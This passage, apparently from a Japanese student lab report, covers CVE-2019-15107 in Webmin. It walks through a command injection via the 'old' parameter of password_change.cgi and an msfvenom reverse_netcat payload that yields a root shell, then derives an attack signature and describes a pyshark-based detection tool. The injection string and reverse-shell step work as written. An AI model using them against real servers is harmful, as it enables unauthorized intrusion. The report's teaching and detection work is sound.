• この CVE は、Webmin の古いパスワードが期限切れになったときのパスワードリセット機能に基づいて実行されるため、victim は Webmin を「Prompt users with expired password to enter a new one」モードで設定する必要があります。

V. CVE 脆弱性の悪用

• 最初に、attacker マシンは Burp Suite を使用して、Webmin でパスワードを変更する際に送信されるリクエストをリンク 192.168.109.128:10000/password_change.cgi (victim の IP) からキャプチャします。

• 次に、attacker マシンは Burp Suite の Repeater タブを介してこのリクエストを送信し、脆弱性をテストします。

• attacker はキャプチャしたリクエストパケットからいくつかの情報を編集します。パスワードを変更するには、HTTP メソッドが当初の GET ではなく POST である必要があるためです。

• 次に、attacker マシンは victim の Webmin サーバーに古いパスワードからパスワードを変更するテストリクエストを送信します: 「user=test&pam=&old=test&new1=test2&new2=test2」

• リクエストを送信すると、古いパスワードが一致しないというメッセージ (The current password is incorrect) が表示されるため、核心は "old" パラメータにあります。

• 次に、old パラメータの後に ifconfig のような基本的なコマンドを挿入して、サーバーが古いパスワードをチェックするときに挿入したコマンドを実行するようにします。例: 「user=test&pam=&old=test|ifconfig&new1=test2&new2=test2」

• 上記と同様に、サーバーが古いパスワードをチェックするとまだ間違っていますが、そのパスワードをチェックした後、"ifconfig" コマンドが実行されて表示されます。

• その後、root 権限を取得するために、Metasploit framework を使用してペイロードを作成し、victim の Webmin サーバーに送信してシェルセッションを受け取ります。「msfvenom -p cmd/unix/reverse_netcat lhost= lport=」

• 次に、ペイロードをコピーして Burp Suite のリクエストに挿入します。

• ペイロードを含むリクエストを Webmin サーバーに送信すると、victim マシンはリバースシェルに感染しました。attacker マシンは被害者マシン (ip: 192.168.109.128 port 37218) へのシェルセッションを受け取りました。

• このようにして、この CVE の脆弱性を通じて root を取得しました。

  VI. 攻撃シグネチャの特定

• Wireshark を使用してネットワーク層のパケットをキャプチャします。

• この CVE を悪用するには、attacker は /password_change.cgi リンクを使用して、HTTP の POST メソッドを介して悪意のあるペイロードを含むリクエストを送信する必要があるため、Wireshark でキャプチャした HTTP パケットを分析する必要があります。

• Webmin サーバーが変更したい古いパスワードをチェックするプロセスに "ifconfig" コマンドが挿入されていることがわかります。

• したがって、この CVE のシグネチャは、/password_change.cgi リンクを介したパスワード変更プロセス中に渡されるパラメータであると特定できます: 「user=test&pam=&old=test | <attacker が実行したいコマンド> &new1=test2&new2=test2」 VII. CVE-2019-15107 攻撃検出ツールの構築

• 上記の分析のとおり、attacker がこの CVE を悪用するには、攻撃を実行するために old パラメータ (「古いパスワード」) にコマンドを挿入する必要があります。

• この CVE の脆弱性に基づいてコマンドを挿入しようとしている人を検出するには、"pyshark" ツールを使用して、彼らが送信する HTTP パケットをキャプチャして分析する必要があります。

• キャプチャした HTTP パケット内のデータは Hex 形式で返されます。"old=" パラメータと "|" に基づいて、誰かがこの CVE の悪用を試みていることを知ることができます。checkPayload 関数は HTTP パケットに問題があるかどうかを確認します。

• 次に、問題のある HTTP パケットを特定した後、getCommand 関数は attacker が実行しているコマンドを出力します。

• パケットのキャプチャと分析のプロセスも .csv 形式で記録されます。

VIII. プログラムのデモ

• attacker が攻撃を実行すると、プログラムはリアルタイムで警告します。

• プログラムを停止すると、プログラムの実行中にキャプチャしたすべてのトラフィック (HTTP ペイロードは hex 形式) が .csv ファイルに記録されます。

• プログラムは危険な警告のログも記録します。

  IX. 結論 授業での学習と実践演習を通じて、マルウェアの調査・分析プロセスをある程度理解することができました。CVE-2019-15107 の脆弱性の悪用と検出プログラムの構築を実施する際、学んだ知識を応用して、シグネチャによる脆弱性検出プログラムの分析と構築を行うことができ、情報の分析・検出・処理能力とネットワークセキュリティ監視の能力を向上させることができました。